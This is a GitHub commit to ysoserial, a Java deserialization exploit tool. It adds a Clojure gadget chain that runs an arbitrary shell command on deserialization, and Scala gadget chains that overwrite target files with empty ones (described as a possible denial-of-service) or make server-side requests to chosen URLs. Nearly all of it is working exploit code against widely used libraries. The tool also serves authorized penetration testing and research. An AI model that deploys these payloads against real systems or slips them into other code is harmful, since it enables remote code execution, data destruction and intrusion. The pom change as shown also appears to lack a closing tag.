Add scala and clojure payloads from a couple of years ago (#137)

* Add some payloads for Scala

* Add new clojure payload effecting versions since 1.8.0

* Fix infinite loop behavior of clojure2 payload.
This commit is contained in:
Ian Haken
2022-04-26 22:09:52 -07:00
committed by GitHub
parent 30ca17f787
commit 4ad1131660
3 changed files with 171 additions and 0 deletions
+4
View File
@@ -326,6 +326,10 @@
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>
<dependency>
<groupId>org.scala-lang</groupId>
<artifactId>scala-library</artifactId>
<version>2.12.6</version>
<dependency>
<groupId>com.atomikos</groupId>
<artifactId>transactions-osgi</artifactId>
@@ -0,0 +1,61 @@
package ysoserial.payloads;
import clojure.lang.Iterate;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Arrays;
import java.util.Map;
/*
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
clojure.lang.ASeq.hashCode()
clojure.lang.Iterate.first() -> null
clojure.lang.Iterate.next() -> new Iterate(f, null, UNREALIZED_SEED)
clojure.lang.Iterate.first() -> this.f.invoke(null)
clojure.core$constantly$fn__4614.invoke()
clojure.main$eval_opt.invoke()
Requires:
org.clojure:clojure
Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java.
Versions up to 1.10.0-alpha4 are known to be vulnerable.
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Clojure2 extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(final String command) throws Exception {
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
Iterate model = Reflections.createWithoutConstructor(Iterate.class);
Object evilFn =
new clojure.core$comp().invoke(
new clojure.main$eval_opt(),
new clojure.core$constantly().invoke(clojurePayload));
// Wrap the evil function with a composition that invokes the payload, then throws an exception. Otherwise Iterable()
// ends up triggering the payload in an infinite loop as it tries to compute the hashCode.
evilFn = new clojure.core$comp().invoke(
new clojure.main$eval_opt(),
new clojure.core$constantly().invoke("(throw (Exception. \"Some text\"))"),
evilFn);
Reflections.setFieldValue(model, "f", evilFn);
return Gadgets.makeMap(model, null);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Clojure2.class, args);
}
}
+106
View File
@@ -0,0 +1,106 @@
package ysoserial.payloads;
import scala.Function0;
import scala.Function1;
import scala.PartialFunction;
import scala.math.Ordering$;
import scala.sys.process.processInternal$;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.File;
import java.net.URL;
import java.util.Comparator;
import java.util.PriorityQueue;
/*
Two exploits using classes in the scala library.
* CreateZeroFile will create a file at the target path, or will replace the target path with a 0 byte file.
Could be useful as a DoS attack by replacing some app class/war?
* Ssrf will perform a GET request to the given URL.
Requires:
org.scala-lang:scala-library
The below hard-codes some anonymous inner class names so it is likely bound to the 2.12.6 release library.
Some slight variations will probably work with other versions.
*/
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Scala {
private static PriorityQueue<Throwable> createExploit(Function0<Object> exploitFunction) throws Exception {
PartialFunction<Throwable, Object> onf = processInternal$.MODULE$.onInterrupt(exploitFunction);
Function1<Throwable, Object> f = new PartialFunction.OrElse(onf, onf);
// create queue with numbers and basic comparator
final PriorityQueue<Throwable> queue = new PriorityQueue<Throwable>(2, new Comparator<Throwable>() {
@Override
public int compare(Throwable o1, Throwable o2) {
return 0;
}
});
// stub data for replacement later
queue.add(new Exception());
queue.add(new Exception());
Reflections.setFieldValue(queue, "comparator", Ordering$.MODULE$.<Throwable, Object>by(f, null));
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = new InterruptedException();
queueArray[1] = new InterruptedException();
return queue;
}
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
scala.math.Ordering$$anon$5.compare()
scala.PartialFunction$OrElse.apply()
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply()
java.io.FileOutputStream.<init>()
*/
public static class CreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
public PriorityQueue<Throwable> getObject(final String path) throws Exception {
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3");
Function0<Object> pbf = (Function0<Object>) Reflections.createWithoutConstructor(clazz);
Reflections.setFieldValue(pbf, "file$1", new File(path));
Reflections.setFieldValue(pbf, "append$1", false);
return createExploit(pbf);
}
}
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
scala.math.Ordering$$anon$5.compare()
scala.PartialFunction$OrElse.apply()
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply()
java.net.URL.openStream()
*/
public static class Ssrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
public PriorityQueue<Throwable> getObject(final String url) throws Exception {
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1");
Function0<Object> pbf = (Function0<Object>)Reflections.createWithoutConstructor(clazz);
Reflections.setFieldValue(pbf, "url$1", new URL(url));
return createExploit(pbf);
}
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
//PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"});
}
}